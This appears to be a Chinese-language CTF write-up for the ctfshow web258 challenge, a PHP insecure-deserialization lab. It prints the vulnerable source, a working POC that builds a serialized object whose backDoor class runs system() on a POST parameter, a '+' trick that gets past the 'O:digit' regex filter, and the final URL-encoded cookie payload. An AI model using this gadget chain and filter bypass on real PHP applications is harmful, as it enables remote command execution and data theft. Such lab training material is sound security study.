ctfshow的刷题记录-web258

反序列化寻思着多做点吧,反序列化主要就是写poc,去构造符合要求的对象。

分析源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
?>

通过读源码可以发现有一个 backDoor 类,它能让我们使用 eval 进行命令执行。采用cookie传入poc反序列化,我们让 ctfShowUser 这个 class 属性为 backDoor 的一个对象,并且 code 需要我们任意可才能进行命令执行,执行 getinfo 即可触发,在 ctfShowUser 类中的析构函数会调用执行,于是我们写出如下 poc

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code='system($_POST["cmd"]);';
public function getInfo(){
//eval($this->code);
}
}
$a=new ctfShowUser();
$res=serialize($a);
echo(urlencode($res));
?>

写出poc之后还要注意,这里的 poc 不能有类似 O:数字 或者是 C:数字 的形式,并且无视大小写,那么我们需要绕过,通过在冒号后面加上一个 + 即可绕过,我们在反序列化对象时,可以加一个字符串替换,将 O: 替换为 O:+C: 替换成 C:+,所以我们最终 poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code='system($_POST["cmd"]);';
public function getInfo(){
//eval($this->code);
}
}
$a=new ctfShowUser();
$res=serialize($a);
$res=str_replace('O:','O:+',$res);
$res=str_replace('C:','C:+',$res);
echo(urlencode($res));
?>

结果:

1
O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A22%3A%22system%28%24_POST%5B%22cmd%22%5D%29%3B%22%3B%7D%7D

我们在 cookieuser 字段中传入 poc,然后 post 给一个 cmd 参数作为命令执行。

发现 flag.php,我们 cat /flag 并且打开源代码发现 flag

这里主要还得注意 url 编码传入,因为 cookie; 作为分割符号。